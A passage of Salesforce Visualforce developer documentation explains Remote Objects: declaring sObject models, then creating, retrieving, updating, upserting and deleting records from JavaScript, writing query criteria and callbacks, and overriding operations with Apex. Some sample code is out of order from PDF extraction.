values, respectively. You’re encouraged to implement more robust alternative logic for requests where your method call doesn’t succeed.
•
The result
variable represents the object returned from the Apex getAccount
method.
311
Using JavaScript in Visualforce Pages Visualforce Remote Objects
•
Accessing the DOM ID of a plain HTML element is simple, just use the ID of the item.
•
DOM IDs of Visualforce components are dynamically generated in order to ensure IDs are unique. The code above uses the technique
to Reference Components from JavaScript to retrieve the component’s ID by accessing it via
the
$Component
global variable.
Visualforce Remote Objects
JavaScript remoting is a popular, powerful, and efficient method for building Web apps with Visualforce, especially for creating pages for use in Salesforce1 or working with JavaScript libraries such as jQuery or AngularJS. Visualforce Remote Objects are proxy objects that enable basic DML operations on sObjects directly from JavaScript. Remote Objects remove some of the complexity from JavaScript remoting by reducing the need for
@RemoteAction
methods in an Apex controller or extension.
Behind the scenes, the Remote Objects controller handles sharing rules, field level security, and other data accessibility concerns. Pages that use Remote Objects are subject to all the standard Visualforce limits, but like JavaScript remoting, Remote Objects calls don’t count toward API request limits.
Using Visualforce Remote Objects consists of implementing two separate pieces of functionality on the same page.
1. Access definitions, written in Visualforce with the Remote Objects components. These components generate a set of JavaScript proxy objects that you can use in step 2.
2. Data access functions, written in JavaScript. These functions use the proxy objects that are made available by the access definitions to perform create, retrieve, update, and delete operations on your data.
Your page then uses the data access functions to respond to user interaction, such as form submissions or controls changes, or to perform periodic actions in response to timers, or most anything that you can write in JavaScript.
A Simple Example of Remote Objects
This short example demonstrates the two pieces of functionality you need to implement to use Remote Objects.
This Visualforce page retrieves a list of 10 Warehouse records and displays them on the page in response to the user clicking the Retrieve
Warehouses button.
<apex:page >
<!-- Remote Objects definition to set accessible sObjects and fields -->
<apex:remoteObjects >
<apex:remoteObjectModel name= "Warehouse__c" jsShorthand= "Warehouse" fields= "Name,Id" >
<apex:remoteObjectField name= "Phone__c" jsShorthand= "Phone" />
</apex:remoteObjectModel >
</apex:remoteObjects >
<!-- JavaScript to make Remote Objects calls -->
<script > var fetchWarehouses = function(){
// Create a new Remote Object var wh = new SObjectModel.Warehouse();
// Use the Remote Object to query for 10 warehouse records wh.retrieve({ limit: 10 }, function(err, records, event){ if(err) { alert(err.message);
312
Using JavaScript in Visualforce Pages A Simple Example of Remote Objects
});
};
</script >
}
} else { var ul = document.getElementById( "warehousesList" ); records.forEach(function(record) {
// Build the text for a warehouse line item var whText = record.get( "Name" ); whText += " -- " ; whText += record.get( "Phone" );
});
// Add the line item to the warehouses list var li = document.createElement( "li" ); li.appendChild(document.createTextNode(whText)); ul.appendChild(li);
<h1 >Retrieve Warehouses via Remote Objects </h1 >
<p >Warehouses: </p >
<ul id= "warehousesList" >
</ul >
<button onclick= "fetchWarehouses()" >Retrieve Warehouses </button >
</apex:page >
Notice something unusual about this page—there is no controller or controller extension. All of the data access is handled by the Remote
Objects components.
The first part of this example is the Remote Objects components that specify which objects and fields to make accessible on the page.
<apex:remoteObjects >
<apex:remoteObjectModel name= "Warehouse__c" jsShorthand= "Warehouse" fields= "Name,Id" >
<apex:remoteObjectField name= "Phone__c" jsShorthand= "Phone" />
</apex:remoteObjectModel >
</apex:remoteObjects >
These components generate JavaScript model classes, one per sObject in the access specification, which you use to make data access calls directly from your JavaScript code. Notice the use of the jsShorthand
attribute, which maps the full Salesforce API name to a simpler, shorter name to use in your JavaScript code. If you plan to package and distribute your code, setting jsShorthand
is essential because it eliminates the use of your organization’s namespace in the packaged code. Using the shorthand does all the work.
The second part of this example is a JavaScript function that uses the models that are generated by the access definition components to retrieve a set of records for display on the page.
<!-- JavaScript to make Remote Objects calls -->
<script> var fetchWarehouses = function (){
// Create a new Remote Object var wh = new SObjectModel.Warehouse();
// Use the Remote Object to query for 10 warehouse records
313
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript wh.retrieve({ limit: 10 }, function (err, records, event){ if (err) { alert(err.message);
} else { var ul = document.getElementById( "warehousesList" ); records.forEach( function (record) {
// Build the text for a warehouse line item var whText = record.get( "Name" ); whText += " -- " ; whText += record.get( "Phone" );
});
// Add the line item to the warehouses list var li = document.createElement( "li" ); li.appendChild(document.createTextNode(whText)); ul.appendChild(li);
});
};
</script>
}
The first line of the function creates a Warehouse object from the model. Notice that the call that creates it uses the jsShorthand for the sObject instead of the full API name of the object. Following this best practice decouples your JavaScript code from the specifics of your organization namespace, sObject and field names, and so on, and makes your code more succinct and clear.
The second line uses the new Warehouse object, wh
, to perform a query for Warehouse records. The call provides two arguments: a simple query specifier and an anonymous function to handle the results. The function is standard JavaScript. It iterates over the results and creates list items to append to the list of warehouses on the page.
The page body is static HTML.
<h1 >Retrieve Warehouses via Remote Objects </h1 >
<p >Warehouses: </p >
<ul id= "warehousesList" >
</ul >
<button onclick= "fetchWarehouses()" >Retrieve Warehouses </button >
Your code adds results to the warehousesList
list. When the page loads, the list is empty. Clicking the button fires the JavaScript function that was defined earlier, which performs the query and adds the results.
Using Remote Objects in JavaScript
The JavaScript models that are generated by the Remote Objects components provide a JavaScript API to create functions for your app that read and save values back to Salesforce. Use the base model that is created by the
<apex:remoteObjects >
component to instantiate specific models for corresponding sObjects. Then use the specific models to perform actions on their sObjects, such as retrieving, creating, updating, and deleting.
The base model for your Remote Objects is created by the
<apex:remoteObjects >
component. The base model provides a pseudonamespace for Remote Objects that you create with it. By default the base model is named
SObjectModel
, but you can set
314
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript the name by using the jsNamespace
attribute. Use different base models to group related Remote Objects along functional or package lines. For example:
<apex:remoteObjects jsNamespace= "MyCorpModels" >
<apex:remoteObjectModel name= "Contact" fields= "FirstName,LastName" />
</apex:remoteObjects >
<apex:remoteObjects jsNamespace= "TrackerModels" >
<apex:remoteObjectModel name= "Shipment__c" fields= "Id,TrackNum__c" />
</apex:remoteObjects >
Specific Models
You don’t normally create a base model yourself but instead use the generated base model as a factory for creating specific models. For example, with the above declaration, instantiate a Contact model in JavaScript like this: var ct = new MyCorpModels.Contact();
Note that ct
is a JavaScript model for the Contact object, not a specific Contact record.
ct
represents a specific object,
Contact
, and provides a connection between your page’s JavaScript and the Salesforce service. ct can be used to perform the basic “CRUD” operations—create, read, update, and delete—on contact objects in the database.
In the following sections, examples are based on the following Remote Objects declaration, which uses all three Remote Objects components and shows how to add a custom field,
Notes__c
, with a “shorthand” name to make accessing it in JavaScript more natural.
<apex:remoteObjects jsNamespace= "RemoteObjectModel" >
<apex:remoteObjectModel name= "Contact" fields= "Id,FirstName,LastName,Phone" >
<apex:remoteObjectField name= "Notes__c" jsShorthand= "Notes" />
</apex:remoteObjectModel >
</apex:remoteObjects >
This declaration enables you to access five fields on Contact records.
Instantiating Models and Accessing Fields
Instantiate a model with or without field values set, depending on your intent. Generally, you’ll set fields when you want to write changes to the database and omit fields when you’re just reading. Field values are set by passing in a JSON string with values for the fields to set on the new model.
To create a model without fields set, create it with an empty parameters list.
var ct = new RemoteObjectModel.Contact();
To instantiate a model with fields set, typically to create a new record, pass in an object that contains field name and value pairs. For example: var ct = new RemoteObjectModel.Contact({
FirstName: "Aldo" ,
LastName: "Michaels" ,
Phone: "(415) 555-1212"
});
315
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
Remote Objects models use basic get()
and set()
methods to retrieve and set field values. For example: var ct = new RemoteObjectModel.Contact({ FirstName: "Aldo" }); ct.get( 'FirstName' ); // 'Aldo' ct.get( 'Phone' ); // <undefined> ct.set( 'FirstName' , 'Benedict' ); ct.set( 'Phone' , '(415) 555-1212' );
There’s no functional difference between setting field values with a properties list in the constructor and setting field values with set()
.
Creating Records with Remote Objects
Create a record by calling create()
on a Remote Objects model instance.
create()
accepts two arguments, both optional.
RemoteObjectModel.create({
field_values
},
callback_function
)
The field_values
block enables you to define and create a record in one statement. Set field values as you do when you create a model, using a JSON string. For example, the following two calls to create()
are equivalent.
var ctDetails = { FirstName: 'Marc' , LastName: 'Benioff' };
// Call create() on an existing Contact model, with no arguments var ct = new RemoteObjectModel.Contact(ctDetails); ct.create();
// Call create() on an empty Contact model, passing in field values var ct = new RemoteObjectModel.Contact(); ct.create(ctDetails); create()
doesn’t return a result directly. The callback function enables you to handle the server response asynchronously.
Note:
All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being completed, including handling returned results, must be placed in the callback function.
Your callback function can accept up to three arguments.
function
callback
(Error
error
, Array
results
, Object
event
) { // ... }
The
Id
field is set on the Remote Object as part of a successful create()
call. You can access this field in your callback function.
var ctDetails = { FirstName: 'Marc' , LastName: 'Benioff' }; var ct = new RemoteObjectModel.Contact(); ct.create(ctDetails, function (err) { if (err) { console.log(err); alert(err.message);
} else {
// this is the contact console.log(ct.log()); // Dump contact to log console.log(ct.get( 'Id' )); // Id is set when create completes
}
});
316
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
Note the use of the log()
function; it’s the equivalent of toString()
for Remote Objects.
Note:
For clarity, this example uses a global variable, ct
, which isn’t a best practice. See Remote Objects Callback Functions
on page 323 for better techniques.
SEE ALSO:
Remote Objects Callback Functions
Retrieving Records with Remote Objects
Retrieve records by calling retrieve()
on a Remote Objects model instance.
retrieve()
requires two arguments, one for query criteria and one for a callback handler.
RemoteObjectModel.retrieve({
criteria
},
callback_function
) criteria
can be a Remote Objects query object or a function that returns one. The following two calls are equivalent.
var ct = new RemoteObjectModel();
// Empty callback functions for simplicity ct.retrieve({where: {FirstName: {eq: 'Marc' }}}, function () {}); // query object ct.retrieve( function (){ return ({where: {FirstName: {eq: 'Marc' }}});
}, function () {}); // function returning query object
retrieve()
doesn’t return a result directly. The callback function enables you to handle the server response asynchronously.
Note:
All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being completed, including handling returned results, must be placed in the callback function.
Your callback function can accept up to three arguments.
function
callback
(Error
error
, Array
results
, Object
event
) { // ... }
SEE ALSO:
Format and Options for Remote Objects Query Criteria
Remote Objects Callback Functions
Updating Records with Remote Objects
Update records by calling update()
on a Remote Objects model instance.
update()
accepts three arguments, all optional, and can update one or many records at the same time, depending on the arguments that you provide.
RemoteObjectModel.update([
record_ids
], {
field_values
},
callback_function
)
317
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript record_ids
is an array of strings, where the strings are the
Id s of records to be updated. If this parameter is omitted, the
Id
that is set on the Remote Object instance is used. The simplest way to update a record is to call update()
on itself.
ctDetails = {FirstName: "Marc" , LastName: "Benioff" }; ct = new RemoteObjectModel.Contact(ctDetails); ct.create();
// Later, in response to a page event...
ct.set( 'Phone' , '555-1212' ); ct.update();
More often, you might need to update a record in response to a form submission. Updating the record can be as simple as reading some form values, including the record’s
Id
, and passing the values to update()
. For example: var record = new RemoteObjectModel.Contact(); record.update($j( '#contactId' ).val(),
{
FirstName: $j( '#fName' ).val(),
LastName: $j( '#lName' ).val(),
Phone: $j( '#phone' ).val(),
Notes: $j( '#notes' ).val()
});
Robust code includes a callback to handle errors. The following code accomplishes the same as the previous sample, altered to use an event handler and a callback function.
// Handle the Save button function updateContact(e){ e.preventDefault(); var record = new RemoteObjectModel.Contact({
Id: $jQuery( '#contactId' ).val(),
FirstName: $jQuery( '#fName' ).val(),
LastName: $jQuery( '#lName' ).val(),
Phone: $jQuery( '#phone' ).val(),
Notes: $jQuery( '#notes' ).val()
}); record.update(updateCallback);
}
// Callback to handle DML Remote Objects calls function updateCallback(err, ids){ if (err) { displayError(err);
} else {
// Reload the contacts with current list getAllContacts();
$jQuery.mobile.changePage( '#listpage' , {changeHash: true});
}
}
You can update many records at the same time, as long as the update to be performed is uniform, that is, the same for every record. For example, you might need to update a collection of checked items from a list, to change a status field to “Archived” or a current timestamp.
318
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
To update records in one request, pass an array of
Id s to update()
. The fields to be updated can be set as part of the Remote Object model itself, but it’s safer to pass them directly to update()
, like this: var ct = new RemoteObjectModel.Contact(); ct.update(
[ '003xxxxxxxxxxxxxxx' , '003xxxxxxxxxxxxxxx' ],
{ FirstName: "George" , LastName: "Foreman" }, function (err, ids) { if (err) { displayError(err);
} else {
// Reload the contacts with current list getAllContacts();
$jQuery( '#status' ).html(ids.length + ' record(s) updated.' );
$jQuery.mobile.changePage( '#listpage' , {changeHash: true});
}
});
Note: When you update multiple records this way, all of the records are updated in the same server-side transaction.
SEE ALSO:
Remote Objects Callback Functions
Upserting Records with Remote Objects
Save a record by calling upsert()
on a Remote Objects model instance.
upsert()
is a convenience function that updates a record if it exists and creates it if it doesn’t. Behind the scenes upsert() delegates to create()
or update()
. Use upsert()
to write functions for your page or application that aren’t affected by whether a record is from a new input form or an edit record page.
upsert()
accepts two arguments, both optional.
RemoteObjectModel.upsert({
field_values
},
callback_function
)
The field_values
block enables you to set the values and save a record in one statement. Set field values as you do when you create a model, using a JSON string. For example, the following two calls to upsert()
are equivalent.
// Call upsert() on a Contact model, with no arguments
// ct is a RemoteObjectModel.Contact that already has data ct.set( 'Phone' , '(415) 777-1212' ); ct.upsert();
// Call upsert() on a Contact model, passing in field values
// ct is a RemoteObjectModel.Contact that already has data ct.upsert({Phone: '(415) 777-1212' });
In the preceding example, it’s not clear if the contact exists in the database or if it’s a new contact that’s coming from an input form.
upsert()
handles the details. If there’s an
Id
field set on the contact, the contact will be updated. If there’s no
Id
, a new contact is created.
upsert()
doesn’t return a result directly. The callback function enables you to handle the server response asynchronously.
Note: All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being completed, including handling returned results, must be placed in the callback function.
319
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
Your callback function can accept up to three arguments.
function
callback
(Error
error
, Array
results
, Object
event
) { // ... }
SEE ALSO:
Creating Records with Remote Objects
Updating Records with Remote Objects
Deleting Records with Remote Objects
Delete records by calling del()
on a Remote Objects model instance.
del()
accepts two arguments, both optional, and can delete one or many records, depending on the arguments that you provide.
Note: Why del()
instead of delete ()
? delete
is a reserved word in JavaScript.
RemoteObjectModel.del([
record_ids
],
callback_function
) record_ids
is an array of strings, where the strings are the
Id s of records to be deleted. If this parameter is omitted, the
Id
that is set on the Remote Object instance is used. The simplest way to delete a record is to call del()
on itself.
ctDetails = {FirstName: "Tobe" , LastName: "Ornottobe" }; ct = new RemoteObjectModel.Contact(ctDetails); ct.create();
// After some though, and the async operation completes...
// It's not to be; delete the contact ct.del();
More often, you might need to delete a record in response to a button click. Deleting the record is as simple as getting the record’s
Id from the page and then passing the
Id
to del()
. For example: var id = $jQuery( '#contactId' ).val(); var ct = new RemoteObjectModel.Contact(); ct.del(id);
Robust code includes a callback to handle errors. The following code accomplishes the same as the previous sample, altered to use an event handler and a callback function.
// Handle the delete button click function deleteContact(e){ e.preventDefault(); var ct = new RemoteObjectModel.Contact(); ct.del($jQuery( '#contactId' ).val(), updateCallback);
}
// Callback to handle DML Remote Objects calls function updateCallback(err, ids){ if (err) { displayError(err);
} else {
// Reload the contacts with current list getAllContacts();
320
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
$jQuery.mobile.changePage( '#listpage' , {changeHash: true});
}
}
To delete multiple records in one request—for example, checked items from a list—pass an array of
Id s to del()
.
var ct = new RemoteObjectModel.Contact(); ct.del([ '003xxxxxxxxxxxxxxx' , '003xxxxxxxxxxxxxxx' ], function (err, ids) { if (err) { displayError(err);
} else {
// Reload the contacts with current list getAllContacts();
$jQuery( '#status' ).html(ids.length + ' record(s) deleted.' );
$jQuery.mobile.changePage( '#listpage' , {changeHash: true});
}
});
Note: When you delete multiple records this way, all of the records are deleted in the same server-side transaction.
SEE ALSO:
Remote Objects Callback Functions
Format and Options for Remote Objects Query Criteria
Remote Objects uses an object to specify criteria for retrieve()
operations. Use this object to specify where, limit, and offset conditions for your queries.
The structured format of the query object enables Visualforce to validate the criteria at save time, reducing the likelihood of runtime errors. The format is straightforward.
var ct = new RemoteObjectModel.Contact(); ct.retrieve(
{ where: {
FirstName: {eq: 'Marc' },
},
LastName: {eq: 'Benioff' } orderby: [ {LastName: 'ASC' }, {FirstName: 'ASC' } ], limit: 1 }, function (err, records) { if (err) { alert(err);
} else { console.log(records.length); console.log(records[0]);
}
}
);
The query criteria find a contact named Marc Benioff and limit the query to a single result.
321
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
where
Conditions where
conditions enable you to filter the results of a retrieve operation, much the same way that a
WHERE
condition in a SOQL query does. The operators that are available for where
conditions are:
•
eq
: equals
•
ne
: not equals
•
lt
: less than
•
lte
: less than or equals
•
gt
: greater than
•
gte
: greater than or equals
•
like
: string matching. As with SOQL, use “%” as a wildcard character.
•
in
: in, used for finding a value that matches any of a set of fixed values. Provide values as an array, for example, ['Benioff', 'Jobs',
'Gates'].
•
nin
: not in, used for finding a value that matches none of a set of fixed values. Provide values as an array, for example, ['Benioff',
'Jobs', 'Gates'].
•
and
: logical AND, used for combining conditions
•
or
: logical OR, used for combining conditions
Within the where
object, add field name and condition pairs to create complex criteria. Multiple conditions by default are treated as
AND conditions. You can use and
and or
to create other criteria conditions. For example:
{ where:
{ or:
{
FirstName: { like: "M%" },
Phone: { like: '(415)%' }
}
}
}
orderby
Conditions orderby
enables you to set a sort order for your results. You can sort on up to three fields.
Specify your orderby
conditions as an array of JavaScript objects that contain name-value pairs. The field to sort on is the name, and the sort description is the value. The sort description enables you to sort ascending or descending and to sort null values first or last. For example: orderby: [ {Phone: "DESC NULLS LAST" } , {FirstName: "ASC" } ]
limit
and
offset
Conditions limit
and offset
enable you to retrieve a specific number of records at a time and to page through an extended set of results.
Use limit
to specify how many records to return in one batch of results. The default value is 20. The maximum is 100.
Use offset
to specify how many records to skip in the overall result set before adding records to the returned results. The minimum is 1. The maximum offset is 2,000 rows. Requesting an offset greater than 2,000 will result in a
NUMBER_OUTSIDE_VALID_RANGE error.
322
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
Remote Objects Callback Functions
Remote Objects sends all requests to the Salesforce service asynchronously. Your code handles responses to Remote Objects operations in a callback function that you provide. Callback functions handle updating the page with the results of the operation and errors that are returned.
Callback functions are a standard technique in JavaScript for handling events and asynchronous operations. Remote Objects uses this pattern to handle the response of its asynchronous operations. When you invoke a Remote Objects operation, you provide the parameters of the operation and, optionally, a callback function. Your JavaScript code continues uninterrupted after you invoke the operation. When the remote operation is completed and results are returned, your callback function is invoked and receives the results of the operation.
Remote Objects callback functions can be written to receive up to three arguments.
function
callback
(Error
error
, Array
results
, Object
event
) { // ... }
Name
error results event
Type Description
JavaScript Error object A standard JavaScript Error object. If the operation succeeded, error
is null
. Use error.message
to retrieve the reason for a failure.
JavaScript array
JavaScript object
An array that contains the results of the operation. If the operation was a retrieve()
, the results are instances of the appropriate Remote Objects.
Otherwise, the array contains strings that represent the
Id s of affected records.
A JavaScript object that provides the details of the JavaScript remoting event transporting the Remote Objects operation.
Most callback functions check for errors and then take an action with the results. The event
object is typically used only in debugging and sophisticated error management.
Example:
Here’s a straightforward callback function, which handles the results of a retrieve()
operation.
function getAllContacts() {
$j.mobile.showPageLoadingMsg(); var c = new RemoteObjectModel.Contact(); c.retrieve({ limit: 100 }, function (err, records) {
// Handle errors if (err) { displayError(err);
} else {
// Add the results to the page var list = $j(Config.Selectors.list).empty();
$j.each(records, function () { var newLink = $j( '<a>' + this .get( 'FirstName' )+ '
' + this .get( 'LastName' )+ '</a>' ); newLink.appendTo(list).wrap( '<li></li>' );
});
$j.mobile.hidePageLoadingMsg();
323
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript list.listview( 'refresh' );
});
}
}
In this sample, getAllContacts()
calls retrieve()
and passes an anonymous function as the callback. The callback function checks for errors and then uses jQuery to iterate through the array of result records, adding them to the page. Some details are omitted to focus on the callback structure. See
An Example of Using Remote Objects with jQuery Mobile on page 329
for the complete page source code.
SEE ALSO:
An Example of Using Remote Objects with jQuery Mobile
Overriding Default Remote Objects Operations
Override the default Remote Objects operations with your own Apex code to extend or customize the behavior of Remote Objects.
Behind the scenes of Remote Objects, the basic operations— create()
, retrieve()
, update()
, and del()
—use a Remote
Objects controller that’s the equivalent of the standard controller for normal Visualforce pages. You can override Remote Objects operations to extend or replace the built-in behavior of this controller. Overrides of Remote Objects operations are written in Apex and take effect by adding them to your page’s Remote Objects definitions.
Note:
You can’t override the upsert()
operation. It’s just a convenience function, and behind the scenes it delegates to either create()
or update()
. When you override either of those methods, the overridden method is automatically used by upsert()
as appropriate.
Remote Objects Access Definitions for Method Overrides
To override a Remote Objects operation with a remote method, set the attribute for the operation to the method that replaces the default method. For example, here’s how to override the create()
operation for contacts with a remote method.
<apex:remoteObjectModel name= "Contact" fields= "FirstName,LastName,Phone"
create="{!$RemoteAction.RemoteObjectContactOverride.create}"/>
The attribute takes a Visualforce expression that references the
@RemoteAction
method to use as the override for the built-in create()
operation. The expression takes the form of
$RemoteAction.
OverrideClassName.overrideMethodName
, where the
$RemoteAction
global handles your organization namespace, as it does for JavaScript remoting. Note that the class that contains the
@RemoteAction
method needs to be set as the page’s controller or as a controller extension for the page.
With this declaration, whenever your page’s JavaScript code calls the create()
function for a contact Remote Object, instead of using the Remote Objects controller, your remote method will be called.
Remote Objects Override Methods
Remote Objects override methods are written as
@RemoteAction
methods in an Apex class, which you add to your page as a controller or controller extension.
The method signature for an override method is:
@RemoteAction public static Map< String , Object >
methodName
( String type, Map< String , Object > fields)
324
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
The type
parameter is the sObject type that’s being acted upon, and the fields
map is a collection that contains the values that were set on the Remote Object before the overridden method was called.
The return value is a map that represents the result of a Remote Objects operation. This map typically include the results of the call, the status, and any custom data that you want to provide as part of your custom method.
The simplest way to construct a valid return map is to use the
RemoteObjectController
. This is the standard controller that provides the built-in functionality for Remote Objects, and you can delegate data manipulation language (DML) operations to it by passing along your method’s parameters. For example, here’s a create()
method that does nothing more than the built-in version of create()
does:
@RemoteAction public static Map< String , Object > create( String type, Map< String , Object > fields) {
Map< String , Object > result = RemoteObjectController.create(type, fields); return result;
}
This method is effectively a no-op; that is, this method does exactly the same thing the built-in version would have done, nothing more and nothing less. Your override methods can execute whatever additional Apex you need to, including logging, additional DML, other method calls, and so on. For a more complete example of a Remote Objects override method, and the page that uses it, see
An Example of Using Remote Method Overrides in Remote Objects on page 325.
Important: The
RemoteObjectController
standard controller automatically handles sharing rules, ownership, and other security concerns for Remote Objects. In contrast, methods in a custom controller or controller extension operate in system mode by default, which allows full access to all data in the organization. This behavior is the same as for standard Visualforce pages that use custom controllers or controller extensions. When you write the controller code, you need to handle access rights and other concerns yourself.
As a best practice, use the with sharing
keyword for your controller or controller extension class, and delegate as much as you can to the
RemoteObjectController
.
SEE ALSO:
Creating Records with Remote Objects
Deleting Records with Remote Objects
Retrieving Records with Remote Objects
Updating Records with Remote Objects
An Example of Using Remote Method Overrides in Remote Objects
This sample code illustrates how to create remote method overrides for Remote Objects operations. The example presents a sorted list of contacts and a simple form to enter a new contact. The new contact action overrides the built-in Remote Objects create() operation. The sample also illustrates blending Remote Objects with several Web development libraries to present a mobile-friendly user interface.
This example uses the jQuery, Bootstrap, and Mustache tool kits, loading them from an external content distribution network (CDN).
325
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
Here’s the Visualforce page, with the remote override declaration in bold.
<apex:page showHeader= "false" standardStylesheets= "false" docType= "html-5.0" title= "Contacts—RemoteObjects Style" controller= "RemoteObjectContactOverride" >
<!-- Include in some mobile web libraries -->
<apex:stylesheet value= "//netdna.bootstrapcdn.com/bootswatch/3.1.1/superhero/bootstrap.min.css" />
<apex:includeScript value= "//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js" />
<apex:includeScript value= "//cdnjs.cloudflare.com/ajax/libs/mustache.js/0.7.2/mustache.min.js" />
<!-- Set up Remote Objects, with an override for create() method -->
<apex:remoteObjects jsNamespace= "$M" >
<apex:remoteObjectModel name= "Contact" fields= "FirstName,LastName,Phone"
create="{!$RemoteAction.RemoteObjectContactOverride.create}"/>
</apex:remoteObjects >
<!-- Page markup -->
<div class= "container" >
<div class= "row" >
<div class= "col-md-2" > </div >
<div class= "col-md-8" >
<table id= "myTable" class= "table table-bordered table-striped table-condensed" >
<colgroup >
<col class= "col-md-3" />
<col class= "col-md-3" />
<col class= "col-md-3" />
</colgroup >
<caption >
Contact Data Order ([ {LastName: 'ASC' }, {FirstName: 'DESC' } ])
326
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
<button id= "bRefresh" class= "btn btn-success btn-sm" type= "button" >Refresh </button >
</caption >
<caption id= "msgBox" class= "alert alert-danger hidden" > </caption >
<thead >
<tr > <td >FirstName </td > <td >LastName </td > <td >Phone </td > </tr >
</thead >
<tbody > </tbody >
<tfoot >
<tr >
<td > <input type= "text" name= "FirstName" id= "iFirstName" placeholder= "John" class= "form-control" /> </td >
<td > <input type= "text" name= "LastName" id= "iLastName"
<td > placeholder= "Doe" class= "form-control" /> </td >
<div class= "input-group" >
<input type= "text" name= "Phone" id= "iPhone" placeholder= "(123) 456-7890" class= "form-control" />
<span class= "input-group-btn" >
<button id= "bAdd" class= "btn btn-primary" type= "button" >Save </button >
</span >
</div >
</td >
</tr >
</tfoot >
</table >
<div class= "panel panel-default" >
<div class= "panel-heading" >Log </div >
<div class= "panel-body" id= "log" >
</div >
<div class= "col-md-2" > </div >
</div >
</div >
</div >
</div >
<!-- Results template (table rows of Contacts) -->
<script id= "tmpl" type= "x-tmpl-mustache" >
<tr > <td >{{FirstName}} </td > <td >{{LastName}} </td > <td >{{Phone}} </td > </tr >
</script >
<!-- Page functionality -->
<script > var table = $( '#myTable tbody' ); var template = $( '#tmpl' ).html();
Mustache.parse(template);
// Retrieve all contacts and add to results table on page var fetchContacts = function() {
(new $M.Contact()).retrieve({ orderby: [ {LastName: 'ASC' }, {FirstName: 'DESC' } ],
}, function(err, records) { if (!err) {
327
Using JavaScript in Visualforce Pages Using Remote Objects in JavaScript
// Add some status messages to the log panel
$( '#log' )
.append( '<p>Fetched contact records.</p>' )
.append( '<p>Records Size: ' + records.length + '!</p>' );
// Update the table of contacts with fresh results table.empty(); records.forEach(function(rec) { table.append(Mustache.render(template, rec._props));
};
});
});
} else {
$( '#msgBox' ).text(err.message).removeClass( 'hidden' );
} var addContact = function() {
// Create a new Remote Object from form values
(new $M.Contact({
FirstName: $( '#iFirstName' ).val(),
LastName: $( '#iLastName' ).val(),
Phone: $( '#iPhone' ).val()
})).create(function(err, record, event) {
// New record created...
if (!err) {
// Reset the New Record form fields, for the next create
$( 'input' ).each(function() {
$(this).val( '' );
});
// Add some status messages to the log panel
$( '#log' )
.append( '<p>Contact created!</p>' )
// Custom data added to event.result by override function
.append( '<p>Got custom data: ' + event.result.custom + '</p>' );
};
});
} else {
$( '#msgBox' ).text(err.message).removeClass( 'hidden' );
}
// Redraw the results list with current contacts fetchContacts();
// Bind application functions to UI events
$( '#bRefresh' ).click(fetchContacts);
$( '#bAdd' ).click(addContact);
// Initial load of the contacts list fetchContacts();
</script >
</apex:page >
328
Using JavaScript in Visualforce Pages An Example of Using Remote Objects with jQuery Mobile
The key line of code in the preceding sample is in the Remote Objects access definition. Adding a single attribute to the contact Remote
Object definition sets up the override: create= "{!$RemoteAction.RemoteObjectContactOverride.create}"
The attribute takes a Visualforce expression that references the
@RemoteAction
method to use as the override for the built-in create()
operation.
In this case, the referenced method is in an Apex class that’s the page’s controller. The code for the override method is straightforward.
public class with sharing RemoteObjectContactOverride {
@RemoteAction public static Map< String , Object > create( String type, Map< String , Object > fields) {
System.debug(LoggingLevel.INFO, 'Before calling create on: ' + type);
// Invoke the standard create action
// For when you want mostly-normal behavior, with a little something different
Map< String , Object > result = RemoteObjectController.create(type, fields);
System.debug(LoggingLevel.INFO, 'After calling create on: ' + type);
System.debug(LoggingLevel.INFO, 'Result: ' + result);
// Here's the little something different, adding extra data to the result
Map< String , Object > customResult = new Map< String , Object > { 'custom' => 'my custom data' }; customResult.putAll(result); return customResult;
}
}
This method logs the
@RemoteAction
call and then uses the standard
RemoteObjectController.create()
call to perform the create. It’s performing the same data manipulation language (DML) commands to create the record that the built-in version would, because it’s using the built-in version. After performing the create, the method does a little more logging. Finally it adds some extra data to the return payload that will be received by the JavaScript callback function on the Visualforce page.
It’s adding the extra data that’s interesting and makes overriding the built-in method useful. The extra data that’s added by the preceding controller is trivial, for the purposes of illustration only. A real-world override can include more complex logic—the result of a calculation, other method calls, and so on. What’s important to understand is that the new custom override method can do additional things behind the scenes, and can return extra data that the built-in version can’t.
An Example of Using Remote Objects with jQuery Mobile
Visualforce Remote Objects is designed to “blend” well with JavaScript frameworks. This extended but simple example shows how to use Remote Objects with jQuery Mobile to view a list of contacts and to add, edit, and delete them.
This example uses jQuery Mobile from the Salesforce Mobile Packs and is based on sample code that is included with the Mobile Pack for jQuery . Remote Objects and jQuery Mobile make it easy to create a simple contact manager page for a phone.
A Simple Contact Editor with Remote Objects and jQuery Mobile
<apex:page docType= "html-5.0" showHeader= "false" sidebar= "false" >
329
Using JavaScript in Visualforce Pages An Example of Using Remote Objects with jQuery Mobile
<!-- Include jQuery and jQuery Mobile from the Mobile Pack -->
<apex:stylesheet value= "{!URLFOR($Resource.MobilePack_jQuery,
'jquery.mobile-1.3.0.min.css' )} "/>
<apex:includeScript value= "{!URLFOR($Resource.MobilePack_jQuery,
'jquery-1.9.1.min.js' )} "/>
<apex:includeScript value= "{!URLFOR($Resource.MobilePack_jQuery,
'jquery.mobile-1.3.0.min.js' )} "/>
<!-- Remote Objects declaration -->
<apex:remoteObjects jsNamespace= "RemoteObjectModel" >
<apex:remoteObjectModel name= "Contact" fields= "Id,FirstName,LastName,Phone" >
<!-- Notes is a custom field added to the Contact object -->
<apex:remoteObjectField name= "Notes__c" jsShorthand= "Notes" />
</apex:remoteObjectModel >
</apex:remoteObjects >
<head >
<title >Contacts </title >
